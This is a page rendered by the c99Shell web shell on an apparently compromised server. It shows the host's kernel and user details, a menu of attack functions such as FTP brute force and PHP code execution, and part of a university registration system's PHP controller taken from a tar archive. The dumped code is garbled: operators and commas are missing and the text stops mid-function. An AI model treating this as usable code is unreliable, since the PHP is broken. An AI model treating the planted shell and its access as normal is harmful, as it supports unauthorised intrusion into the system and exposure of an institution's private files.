!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/   drwxr-xr-x
Free 52.62 GB of 127.8 GB (41.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     regist-26-02-2562.tar (82 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
application/0040777000000000000000000000000013435160343010321 5ustar00application/controllers/0040777000000000000000000000000013421311510012654 5ustar00application/controllers/eregis/0040777000000000000000000000000013435160254014146 5ustar00application/controllers/eregis/rpt_regis.php0100777000000000000000000007723713435155122016673 0ustar00<?php
include('rg_controller.php');
class 
Rpt_regis extends Rg_controller {
//    function __construct() {
//        parent::__construct();
//    }

    //Rep106-----------------------------------------------------------------------------
    
public function searchRptRis106() {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_term','tm');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_studyyear','sy');
        
$tm $this->tm;
        
$tmOrder = array('tmId' => 'ASC');
        
$ord_rs_sy  = array('syId'        => '');

        
$this->contents['rs_tm'] = $tm->get_options('',$tmOrder,'','');
        
$this->contents['rs_sy']  = $this->sy->get_options('',$ord_rs_sy,'','N');

        
$this->contents['tmId'] = $this->session->userdata('tmId');
        
$this->contents['acY'] = $this->session->userdata('acY');

        
$this->output($this->config->item("rg_folder")."v_searchRptRis106");
    }
    
    function 
cur_popup($id=0) {  //popup course and year searchRptRis106
        
$this->load->model($this->config->item("rg_folder").'mo_rg_curriculum','cur');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_student','std');
        
$this->contents['qu_cur'] = $this->cur->get_by_key($id);
        
$this->contents['rs_std'] = $this->std->qryByGenStatusGroupCurIdAndAdY('Y');
        
        
$this->output_detail($this->config->item("rg_folder")."v_curAndAdYTable");
    }
    
    public function 
showRptRis106() {
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<div class="error">','</div>');
        
$this->form_validation->set_rules('curId'' ''trim|required|callback_checkselect');//รหัสหลักสูตร
        
$this->form_validation->set_rules('curName'' ''');//ชื่อหลักสูตร
        
$this->form_validation->set_rules('adY'' ''trim|integer|callback_checkAdY|xss_clean');//ปีการศึกษาที่เข้า
        
$this->form_validation->set_rules('acY'' ''trim|integer|callback_checkAcY|xss_clean');//ปีการศึกษา
        
$this->form_validation->set_rules('tmId'' ''callback_checkselect');//ภาคการศึกษา
        
$this->form_validation->set_rules('studentYear',' ','callback_checkselect');//ชั้นปี

        
if($this->form_validation->run() == true) {
                
$curId $this->input->post('curId');
                
$curName $this->input->post('curName');
                
$adY $this->input->post('adY');
                
$acY $this->input->post('acY');
                
$tmId $this->input->post('tmId');
                
$studentYear $this->input->post('studentYear');

                
$tmIdAdmit $this->input->post('tmIdAdmit');
                
$syId $this->input->post('syId');

                
$this->contents['curId'] = $curId;
                
$this->contents['curName'] = $curName;
                
$this->contents['adY'] = $adY;
                
$this->contents['acY'] = $acY;
                
$this->contents['tmId'] = $tmId;
                
$this->contents['studentYear'] = $studentYear;
                
$this->contents['tmIdAdmit'] = $tmIdAdmit;
                
$this->contents['syId'] = $syId;
                
                
$this->load->model($this->config->item("rg_folder").'mo_rg_curriculum','cur');
                
$this->load->model($this->config->item("rg_folder").'mo_rg_student','std');
                
$this->load->model($this->config->item("rg_folder").'mo_rg_prefix','pre');
                
$this->load->model($this->config->item("rg_folder").'mo_rg_registfee','reg');
                
$this->load->model($this->config->item("rg_folder").'mo_rg_payment','pay');

                
$cur $this->cur;
                
$std $this->std;
                
$pre $this->pre;
                
$reg $this->reg;
                
$pay $this->pay;

                
$curCon = array('curId' => $curId);
                
$this->contents['qu_cur'] = $cur->qryCur($curCon,'','');

                
$stdCon = array('stdCurId' => $curId 'stdAdY' => $adY);
                
$stdOrder = array('stdCode' => '');
                
$this->contents['rs_std'] = $std->qryStdJoinPf($stdCon,$stdOrder,'');

                
$this->contents['reg'] = $reg;
                
$this->contents['pay'] = $pay;

                
$this->output($this->config->item("rg_folder")."v_rptRis106");
        } else {  
            
$this->searchRptRis106(); 
        }
    }

    public function 
printRepRis106($stdId,$acY,$studentYear,$tmId,$curId) {
            
$this->load->model($this->config->item("rg_folder").'mo_rg_student','std');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_registfee','reg');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_registdetails','rgd');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_commonfee','cmf');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_curriculumfee','cf');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_coursefee','crf');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_schedule','sd');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_curriculum','cur');

            
$std $this->std;
            
$reg $this->reg;
            
$rgd $this->rgd;
            
$cmf $this->cmf;
            
$cf $this->cf;
            
$crf $this->crf;
            
$sd $this->sd;
            
$cur $this->cur;

            
$stdCon = array('stdId' => $stdId);
            
$this->contents['qu_std'] = $std->qryStdJoinPfCurGen($stdCon,'','');

            
$regCon = array('rfStdId' => $stdId 'rfAcY' => $acY 'rfTmId' => $tmId);

            
$this->contents['qu_reg'] = $reg->qryRf($regCon,'','');

            
$this->contents['rs_rgd'] = $rgd->getRegistDetailsByStdIdAcYTmId($stdId$acY$tmId);

            
$cmfCon = array('cmfStdId' => $stdId'cmfAcY' => $acY 'cmfTmId' => $tmId);
            
$this->contents['rs_cmf'] = $cmf->qryCmfJoinFee($cmfCon,'','');

            
$cfCon = array('cfStdId' => $stdId'cfAcY' => $acY 'cfTmId' => $tmId);
            
$this->contents['rs_cf'] = $cf->qryCfJoinFee($cfCon,'','');

            
$curCon = array('curId' => $curId);
            
$this->contents['qu_cur'] = $cur->qryCur($curCon,'','');

            
$this->contents['stdId'] = $stdId;
            
$this->contents['acY'] = $acY;
            
$this->contents['tmId'] = $tmId;
            
$this->contents['studentYear'] = $studentYear;
            
            
$crfCon = array('crfStdId' => $stdId 'crfAcY' => $acY 'crfTmId' => $tmId);
            
$this->contents['sumLcFee'] = $crf->GetSumcrfLecFeeAmtCourseFee($crfCon,'');
            
$this->contents['sumLbFee'] = $crf->GetSumcrfLabFeeAmtCourseFee($crfCon,'');

            
$rgdCon = array('rdStdId' => $stdId 'rdAcY' => $acY 'rdTmId' => $tmId);
            
$this->contents['sumRdCredit1'] = $rgd->getSumCr1($rgdCon,'');
            
$this->contents['sumRdCredit2'] = $rgd->getSumCr2($rgdCon,'');
            
$this->contents['sumRdCreditAttempt'] = $rgd->getCreditAttempt($rgdCon,'');
            
            
$this->contents['sumKssFee'] = $crf->GetSumcrfKssFeeAmtCourseFee($crfCon,'','');
            
            
$regCon = array('rfStdId' => $stdId 'rfAcY' => $acY 'rfSyId' => $studentYear 'rfTmId' => $tmId);
            
$this->contents['sumTotalAmt'] = $reg->getSumTotalAmt($regCon,'');

            
$sdCon = array('sdAcY' => $acY 'sdTmId' => $tmId);
            
$this->contents['qu_sd'] = $sd->qrySd($sdCon,'','');
            
            
$this->output_detail($this->config->item("rg_folder")."v_rptRis106popup");
    }

    public function 
printRepRis106PDF($stdId=''$acY='' ,$studentYear=''$tmId=''$curId='') {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_student','std');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_registfee','reg');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_registdetails','rgd');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_commonfee','cmf');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_curriculumfee','cf');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_coursefee','crf');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_schedule','sd');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_curriculum','cur');

        
$std $this->std;
        
$reg $this->reg;
        
$rgd $this->rgd;
        
$cmf $this->cmf;
        
$cf $this->cf;
        
$crf $this->crf;
        
$sd $this->sd;
        
$cur $this->cur;

        
$stdId $this->input->post('stdId') ? $this->input->post('stdId') : $stdId;
        
$acY $this->input->post('acY') ? $this->input->post('acY') : $acY;
        
$studentYear $this->input->post('syId') ? $this->input->post('syId') : $studentYear;
        
$tmId $this->input->post('tmId') ? $this->input->post('tmId') : $tmId;
        
$curId $this->input->post('curId') ? $this->input->post('curId') : $curId;

        
$stdCon = array('stdId' => $stdId);
        
$this->contents['qu_std'] = $std->qryStdJoinPfCurGen($stdCon);

        
$regCon = array('rfStdId' => $stdId 'rfAcY' => $acY 'rfTmId' => $tmId);
        
$this->contents['qu_reg'] = $reg->qryRf($regCon);

        
$this->contents['rs_rgd'] = $rgd->getRegistDetailsByStdIdAcYTmId($stdId$acY$tmId);

        
$cmfCon = array('cmfStdId' => $stdId'cmfAcY' => $acY 'cmfTmId' => $tmId);
        
$this->contents['rs_cmf'] = $cmf->qryCmfJoinFee($cmfCon,'','');

        
$cfCon = array('cfStdId' => $stdId'cfAcY' => $acY 'cfTmId' => $tmId);
        
$this->contents['rs_cf'] = $cf->qryCfJoinFee($cfCon,'','');


        
$this->contents['stdId'] = $stdId;
        
$this->contents['acY'] = $acY;
        
$this->contents['tmId'] = $tmId;
        
$this->contents['studentYear'] = $studentYear;

        
$curCon = array('curId' => $curId);
        
$this->contents['qu_cur'] = $cur->qryCur($curCon,'','');

        
$crfCon = array('crfStdId' => $stdId 'crfAcY' => $acY 'crfTmId' => $tmId);
        
$this->contents['sumLcFee'] = $crf->GetSumcrfLecFeeAmtCourseFee($crfCon,'');
        
$this->contents['sumLbFee'] = $crf->GetSumcrfLabFeeAmtCourseFee($crfCon,'');

        
$rgdCon = array('rdStdId' => $stdId 'rdAcY' => $acY 'rdTmId' => $tmId);
        
$this->contents['sumRdCredit1'] = $rgd->getSumCr1($rgdCon,'');
        
$this->contents['sumRdCredit2'] = $rgd->getSumCr2($rgdCon,'');
        
$this->contents['sumRdCreditAttempt'] = $rgd->getCreditAttempt($rgdCon,'');
        
        
$this->contents['sumKssFee'] = $crf->GetSumcrfKssFeeAmtCourseFee($crfCon,'','');
        
        
$regCon = array('rfStdId' => $stdId 'rfAcY' => $acY 'rfSyId' => $studentYear 'rfTmId' => $tmId);
        
$this->contents['sumTotalAmt'] = $reg->getSumTotalAmt($regCon,'');

        
$sdCon = array('sdAcY' => $acY 'sdTmId' => $tmId);
        
$this->contents['qu_sd'] = $sd->qrySd($sdCon,'','');

        
$this->output_detail($this->config->item("rg_folder")."v_rptRis106PDF");
    }

    
//Rep109-----------------------------------------------------------------------------
    
public function searchRptRis109() {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_term','tm');
        
$tm $this->tm;
        
$ord_rs_tm  = array('tmId' => '');
        
$this->contents['rs_tm']  = $tm->get_options('',$ord_rs_tm,'','N');
        
$this->contents['tmId'] = $this->session->userdata('tmId');
        
$this->contents['acY'] = $this->session->userdata('acY');
                
        
$this->output($this->config->item("rg_folder")."v_searchRptRis109");
    }

    public function 
showRptRis109() {
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<div class="error">','</div>');
        
$this->form_validation->set_rules('acY'' ''trim|integer|callback_checkAdY|xss_clean');
        
$this->form_validation->set_rules('tmId'' ''callback_checkselect');
        
$this->form_validation->set_rules('courseCode'' ''trim|required|xss_clean');
        
$this->form_validation->set_rules('section'' ''trim|required|integer|xss_clean');
//echo $this->form_validation->run();
        
if($this->form_validation->run() == true) {
                
$this->load->model($this->config->item("rg_folder").'mo_rg_courseopen','co');
                
$this->load->model($this->config->item("rg_folder").'mo_rg_courseopenfor','cof');
                
$this->load->model($this->config->item("rg_folder").'mo_rg_curriculum','cur');
                
$this->load->model($this->config->item("rg_folder").'mo_rg_timetable','ttb');
                
$co $this->co;
                
$cof $this->cof;
                
$cur $this->cur;
                
$ttb $this->ttb;

                
$acY $this->input->post('acY');
                
$tmId $this->input->post('tmId');
                
$courseCode $this->input->post('courseCode');
                
$section $this->input->post('section');

                
$this->contents['acY'] = $acY;
                
$this->contents['tmId'] = $tmId;
                
$this->contents['courseCode'] = $courseCode;
                
$this->contents['section'] = $section;

                
$this->contents['rs_co'] = $co->qryCoANDCrsByCourseCodeAndAcYAndTmIdAndSec($courseCode,$acY,$tmId,$section);
                
$this->contents['cof'] = $cof;
                
$this->contents['ttb'] = $ttb;
                
$this->contents['cur'] = $cur;

            
$this->output($this->config->item("rg_folder")."v_rptRis109");
        
        }else{  
$this->searchRptRis109(); }
    }

    public function 
RptRis109($coId,$acY,$tmId,$coCurId,$ep) {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_courseopen','co');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_period','prd');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_examschedule','es');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_registdetails','rd');
        
        
$this->contents['acY'] = $acY;
        
$this->contents['tmId'] = $tmId;
        
$this->contents['coCurId'] = $coCurId;

        
$this->contents['qu_co'] = $this->co->qryForRis109($coId);
        
$this->contents['prd'] = $this->prd;
        
$this->contents['es'] = $this->es;
        
$rdCon = array('rdCoId' => $coId);
        
$rdOrd = array('stdCode' => 'ASC');
        
$this->contents['rs_rd'] = $this->rd->qrySstOfStd($rdCon$rdOrd);
        if(
$ep=='E')
            
$this->output_detail($this->config->item("rg_folder")."v_rptRis109Excel");
        else
            
$this->output_detail($this->config->item("rg_folder")."v_rptRis109PDF");
    }

    
//Rep110-----------------------------------------------------------------------------
    
public function searchRptRis110() {
        
//$this->load->model($this->config->item("rg_folder").'mo_rg_term','tm');
        //$this->contents['rs_tm'] = $this->tm->qryOrderId();    
        //$this->contents['qu_tm'] = $this->tm->get_by_key($this->session->userdata('tmId'));    
        
        
$this->load->model($this->config->item("rg_folder").'mo_rg_term','tm');
        
$tm $this->tm;
        
$tmOrder = array('tmId' => '');
        
$this->contents['rs_tm'] = $tm->get_options('',$tmOrder,'','');

        
$this->contents['tmId'] = $this->session->userdata('tmId');
        
$this->contents['acY'] = $this->session->userdata('acY');
                
        
$this->output($this->config->item("rg_folder")."v_searchRptRis110");
    }

    public function 
showRptRis110() {
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<div class="error">','</div>');
        
$this->form_validation->set_rules('acY'' ''trim|integer|callback_checkAdY|xss_clean');
        
$this->form_validation->set_rules('courseCode'' ''trim|required|xss_clean');
        
$this->form_validation->set_rules('section'' ''trim|integer|callback_checkselect|xss_clean');

        if(
$this->form_validation->run() == true) {
                
$this->contents['acY'] = $this->input->post('acY');
                
$this->contents['tmId'] = $this->input->post('tmId');
                
$this->contents['courseCode'] = $this->input->post('courseCode');
                
$this->contents['section'] = $this->input->post('section');
                
                
$this->load->model($this->config->item("rg_folder").'mo_rg_courseopen','co');
                
$this->contents['rs_co'] = $this->co->qryCoANDCrsByCourseCodeAndAcYAndTmIdAndSec($this->input->post('courseCode'),$this->input->post('acY'),$this->input->post('tmId'),$this->input->post('section')); 

                
$this->load->model($this->config->item("rg_folder").'mo_rg_courseopenfor','ocof');
                
$this->contents['cof'] = &$this->ocof;

                
$this->load->model($this->config->item("rg_folder").'mo_rg_curriculum','ocur');
                
$this->contents['cur'] = &$this->ocur;

                
$this->load->model($this->config->item("rg_folder").'mo_rg_timetable','ott');
                
$this->contents['tt'] = &$this->ott;

            
$this->output($this->config->item("rg_folder")."v_rptRis110");
        
        }else{  
$this->searchRptRis110(); }
    }

    public function 
RptRis110($coId,$acY,$tmId,$coCurId) {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_courseopen','co');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_period','prd');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_examschedule','es');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_registdetails','rd');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_grade','gd');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_courseopenfor','cof');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_studyyear','sy');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_term','tm');

        
$this->contents['acY'] = $acY;
        
$this->contents['tmId'] = $tmId;
        
$this->contents['coCurId'] = $coCurId;
        
$this->contents['co'] = $this->co;
        
$this->contents['cof'] = $this->cof;
        
$this->contents['sy'] = $this->sy;
        
$this->contents['tm'] = $this->tm;

        
$this->contents['qu_co'] = $this->co->qryForRis110($coId);

        
$this->contents['prd'] = $this->prd;
        
$this->contents['es'] = $this->es;

        
$rdCon = array('rdCoId' => $coId);
        
$rdOrd = array('stdCode' => 'ASC');
        
$this->contents['rs_rd'] = $this->rd->qrySstOfStd($rdCon$rdOrd);

        
$this->contents['rs_gd'] = $this->gd->qryGtpId($this->contents['qu_co']->row()->crsGtpId);

        
$this->output_detail($this->config->item("rg_folder")."v_rptRis110Excel");
    }

    
//Rep116-----------------------------------------------------------------------------
    
public function searchRptRis116() {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_term','tm');
        
$tm $this->tm;
        
$tmOrder = array('tmId' => '');
        
$this->contents['rs_tm'] = $tm->get_options('',$tmOrder,'','');
        
$this->contents['tmId'] = $this->session->userdata('tmId');
        
$this->contents['acY'] = $this->session->userdata('acY');
        
$this->output($this->config->item("rg_folder")."v_searchRptRis116");
    }

    public function 
showRptRis116() {
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<div class="error">','</div>');
        
$this->form_validation->set_rules('acY'' ''trim|integer|callback_checkAdY|xss_clean');
        
$this->form_validation->set_rules('tmId'' ''callback_checkselect');

        if(
$this->form_validation->run() == true) {
            
$this->contents['acY'] = $this->input->post('acY');
            
$this->contents['tmId'] = $this->input->post('tmId');
            
            
$this->load->model($this->config->item("rg_folder").'mo_rg_schedule','sd');
            
$sd_cond = array('sdAcY' =>$this->contents['acY'], 'sdTmId' => $this->contents['tmId'] );
            
$this->contents['qu_sd'] = $this->sd->qrySd($sd_cond,"","");

            
$this->load->model($this->config->item("rg_folder").'mo_rg_period','prd');
            
$prd_order = array('prdId' => '');
            
$this->contents['rs_prd'] = $this->prd->qryPrd("",$prd_order,""); 

            
$this->load->model($this->config->item("rg_folder").'mo_rg_day','dy');
            
$dy_order = array('dyId' => '');
            
$this->contents['rs_dy'] = $this->dy->qryDy("",$dy_order,"");         
            
            
$this->load->model($this->config->item("rg_folder").'mo_rg_courseopen','co');
            
$this->contents['co'] = $this->co;    

            
$this->load->model($this->config->item("rg_folder").'mo_rg_timetable','tt');
            
$this->contents['tt'] = $this->tt;
                            
            
$this->output_detail($this->config->item("rg_folder")."v_rptRis116");
        
        }else{  
$this->searchRptRis116(); }
    }


    
//Rep117-----------------------------------------------------------------------------
    
public function searchRptRis117() {        
        
$this->load->model($this->config->item("rg_folder").'mo_rg_studyyear','sy');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_term','tm');

        
$ord_rs_sy  = array('syId'        => '');        
        
$this->contents['rs_sy']  = $this->sy->get_options('',$ord_rs_sy,'','---เลือกชั้นปี---');
        
$ord_rs_tm  = array('tmId'        => '');
        
$this->contents['rs_tm']  = $this->tm->get_options('',$ord_rs_tm,'',FALSE);
        
$this->contents['tmId'] = $this->session->userdata('tmId');
        
$this->contents['acY'] = $this->session->userdata('acY');
        
$this->output($this->config->item("rg_folder")."v_searchRptRis117");
    }
    
    public function 
showRptRis117() {
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<div class="error">','</div>');
        
$this->form_validation->set_rules('curId'' ''callback_checkselect');
        
$this->form_validation->set_rules('curName'' '' ');
        
$this->form_validation->set_rules('adY'' ''trim|integer|callback_checkAdY|xss_clean');
        
$this->form_validation->set_rules('syId',' ','callback_checkselect');

        if(
$this->form_validation->run() == true) {
            
$this->load->model($this->config->item("rg_folder").'mo_rg_schedule','sd');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_period','prd');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_day','dy');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_courseopen','co');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_timetable','tt');

            
$this->sd->sdAcY $this->contents['acadYear'] = $this->input->post('acadYear');
            
$this->sd->sdTmId $this->contents['tmId'] = $this->input->post('tmId');
            
$this->contents['syId'] = $this->input->post('syId');
            
$this->contents['curName'] = $this->input->post('curName');
            
$this->contents['curId'] = $this->input->post('curId');
                        
            
$this->contents['qu_sd'] = $this->sd->get_by_key();

            
$ord_prd = array('prdId' => 'ASC');
            
$this->contents['rs_prd'] = $this->prd->qryPrd("",$ord_prd);

            
$ord_dy = array('dyId' => 'ASC');
            
$this->contents['rs_dy'] = $this->dy->qryDy("",$ord_dy);

            
$this->contents['co'] =  $this->co;
            
$this->contents['tt'] =  $this->tt;

            
$this->output_detail($this->config->item("rg_folder")."v_rptRis117");
            
        }else{  
$this->searchRptRis117(); }
    }


    
//Rep133-----------------------------------------------------------------------------
    
public function searchRptRis133() {
        
        
$this->output($this->config->item("rg_folder")."v_searchRptRis133");
    }
    
    public function 
showRptRis133() {
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<div class="error">','</div>');
        
$this->form_validation->set_rules('curName'' ''trim|xss_clean');
        
$this->form_validation->set_rules('curId'' ''trim|required|callback_checkselect|xss_clean');
        
$this->form_validation->set_rules('adY'' ''trim|integer|callback_checkAdY|xss_clean');

        if(
$this->form_validation->run() == true) {
            
$this->load->model($this->config->item("rg_folder").'mo_rg_realstudyplan','rsp');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_curriculumstructure','cs');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_studyyear','sy');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_term','tm');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_condition','cd');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_course','crs');

            
$this->contents['curName'] = $this->input->post('curName');
            
$this->contents['curId'] = $this->input->post('curId');
            
$this->contents['adY'] = $this->input->post('adY');
    
            
$this->contents['rsp'] = $this->rsp;
            
$this->contents['cs'] = $this->cs;
            
$this->contents['studyyear'] = $this->sy;
            
$this->contents['term'] = $this->tm;
            
$this->contents['condition'] = $this->cd;
            
$this->contents['course'] = $this->crs;
    
            
$this->output_detail($this->config->item("rg_folder")."v_rptRis133");
        
        }else{  
            
$this->searchRptRis133(); 
        }
    }


    public function 
curAndAdmitYAndGenStatusIsYTable() {

        return;
    }


    public function 
searchRptRis305() {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_term','tm');

        
$this->contents['rs_tm'] = $this->tm->get_options('','','',FALSE);
        
$this->contents['tmId'] = $this->session->userdata('tmId');
        
$this->contents['acY'] = $this->session->userdata('acY');
        
$this->output($this->config->item("rg_folder")."v_searchRptRis305");
    }


    public function 
rptRis305PDF() {
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<div class="error">','</div>');
        
$this->form_validation->set_rules('levelName'' ''trim|xss_clean');
        
$this->form_validation->set_rules('divisorType'' ''trim|xss_clean');
        
$this->form_validation->set_rules('acY'' ''trim|integer|callback_checkAdY|xss_clean');
        
$this->form_validation->set_rules('tmId'' ''trim|xss_clean');

        if(
$this->form_validation->run() == true) {
            
$this->load->model($this->config->item("rg_folder").'mo_rg_curriculum','cur');
            
/* กำหนดตัวหารหน่วยกิต */
            
if($this->input->post('levelName')=='B' && $this->input->post('divisorType')=='S') {
                
$divisor 18;
                
$sLevelId 11;
                
$eLevelId 11;
            }
            else if(
$this->input->post('levelName')=='B' && $this->input->post('divisorType')=='Y') {
                
$divisor 36;
                
$sLevelId 11;
                
$eLevelId 11;
            }
            else if(
$this->input->post('levelName')=='C' && $this->input->post('divisorType')=='S') {
                
$divisor 19;
                
$sLevelId 1;
                
$eLevelId 10;
            }
            else if(
$this->input->post('levelName')=='C' && $this->input->post('divisorType')=='Y') {
                
$divisor 38;
                
$sLevelId 1;
                
$eLevelId 10;
            }

            
$this->contents['divisor'] = $divisor;
            
$this->contents['sLevelId'] = $sLevelId;
            
$this->contents['eLevelId'] = $eLevelId;
            

            
$rs_cur $this->cur->qryCurForFTESJoinCurElvGen($sLevelId$eLevelId,$this->input->post('acY'));

            
$this->contents['arr'] = $arr = array();
            
$i 1;
            if(
$rs_cur->num_rows()) {
                foreach(
$rs_cur->result() as $row) {
                    
$arr[$i]['curId']     = $row->curId;
                    
$arr[$i]['curName'] = $row->curName;
                    
$arr[$i]['genId']     = $row->genId;
                    
$arr[$i]['genNo']     = $row->genNo;

                    if(
$this->input->post('divisorType') == 'S') {
                        
$this->load->model($this->config->item("rg_folder").'mo_rg_registdetails','rd');
                        
$con_sumCredit1 = array('coCurId'    => $row->curId,
                                                
'coAcY'        => $this->input->post('acY'),
                                                
'coTmId'    => $this->input->post('tmId'),
                                                
'stdAdY'    => $row->stdAdY);
                        
$sumCredit1 $this->rd->getSumCreditAttempt($con_sumCredit1,'','');
                         
                        
$con_sumCredit2 = array('coAcY'        => $this->input->post('acY'),
                                                
'coTmId'    => $this->input->post('tmId'),
                                                
'cofCurId'    => $row->curId,
                                                
'stdAdY'    => $row->stdAdY);
                        
$sumCredit2 $this->rd->getSumCreditAttemptCurIsNULL($con_sumCredit2,'','');

                        
$sum $sumCredit1+$sumCredit2;
                        
$FTES $sum $divisor;
                        
                        
$arr[$i]['SCH']  = $sum;
                        
$arr[$i]['FTES'] = $FTES;

                        
$this->contents['arr'] = $arr;
                        
                    } else if(
$this->input->post('divisorType') == 'Y') {
                        
$this->load->model($this->config->item("rg_folder").'mo_rg_registdetails','rd');
                        
$con_sumCredit1 = array('coCurId'    => $row->curId,
                                                
'coAcY'        => $this->input->post('acY'),
                                                
'stdAdY'    => $row->stdAdY);
                        
$sumCredit1 $this->rd->getSumCreditAttempt($con_sumCredit1,'','');
                         
                        
$con_sumCredit2 = array('coAcY'        => $this->input->post('acY'),
                                                
'cofCurId'    => $row->curId,
                                                
'stdAdY'    => $row->stdAdY);
                        
$sumCredit2 $this->rd->getSumCreditAttemptCurIsNULL($con_sumCredit2,'','');

                        
$sum $sumCredit1+$sumCredit2;
                        
$FTES $sum $divisor;
                        
                        
$arr[$i]['SCH']  = $sum;
                        
$arr[$i]['FTES'] = $FTES;

                        
$this->contents['arr'] = $arr;
                    }

                    
$i++;
                }
            }
            
$this->contents['acY'] = $this->input->post('acY');
            
$this->contents['tmId'] = $this->input->post('tmId');
            
$this->contents['divisorType'] = $this->input->post('divisorType');

            
$this->output_pdf($this->config->item("rg_folder")."v_rptRis305");
        } else {
            
$this->searchRptRis305();
        }
    }

    
/* ##### รายงานรายชื่อนักศึกษาแยกตามรายวิชา #####*/
    
public function searchRptRis999() {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_term','tm');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_courseopen','co');

        
$this->contents['acY'] = ($this->input->post('acY')) ? $this->input->post('acY') : $this->session->userdata('acY');    
        
$this->contents['tmId'] = ($this->input->post('tmId')) ? $this->input->post('tmId') : $this->session->userdata('tmId');        
        
$arr = array();

        if(
$this->input->post('btnSearch')){ 
            
$this->load->library('form_validation');
            
$this->form_validation->set_error_delimiters('<div class="error">','</div>');
            
$this->form_validation->set_rules('acY'' ''trim|integer|callback_checkAdY|xss_clean');
            
$this->form_validation->set_rules('tmId'' ''callback_checkselect');
            
$this->form_validation->set_rules('crsCode'' ''trim|required|xss_clean');
            
$this->form_validation->set_rules('crsSection'' ''trim|required|integer|xss_clean');

            if(
$this->form_validation->run() == true) {
                
$con_qu_co = array('coAcY'        => $this->input->post('acY'),
                                   
'coTmId'        => $this->input->post('tmId'),
                                   
'crsCode'    => '%'.$this->input->post('crsCode').'%',
                                   
'coSection'    => $this->input->post('crsSection'));
                
$rs_gco $this->co->qryCoJoinCrs($con_qu_co,'','');

                
$arr = array();
                foreach(
$rs_gco->result() as $gco) {
                    
$arr[$gco->crsId] = array('coId' => $gco->coId,
                                              
'crsCode' => $gco->crsCode,
                                              
'coCrsId' => $gco->crsId,
                                              
'crsName' => $gco->crsName);

                    
$cond1 = array('crsId' => $gco->crsId,
                                   
'coAcY' => $this->input->post('acY'),
                                   
'coTmId' => $this->input->post('tmId'),
                                   
'coSection' => $this->input->post('crsSection'));
                    
$rs_gcur $this->co->qryCoJoinCrsCur($cond1);    
                    
$i 1;
                    foreach(
$rs_gcur->result() as $gcur) {
                        
$this->load->model($this->config->item("rg_folder").'mo_rg_timetable','tt');

                        
$rs_prs $this->tt->qryTeacher($gcur->coId);
                        
$row_rs_prs $rs_prs->row();

                        
$arr[$gco->crsId]['cur'.$i] = array('curId' => $gcur->curId,
                                                            
'curName' => $gcur->curName,
                                                            
'coSection' => $gcur->coSection,
                                                            
'prsName' => $row_rs_prs->prsName);
                        
$i++;
                    }
                }
            }
        }
            
        
$this->contents['arr'] = $arr;
        
$this->contents['rs_tm'] = $this->tm->get_options('','','',FALSE);
        
        
$this->output($this->config->item("rg_folder")."v_showRptRis999");
    }

    public function 
rptRis999PDF($acY$tmId$coId) {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_courseopen','co');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_course','c');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_courseopenfor','cof');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_curriculum','cur');
        
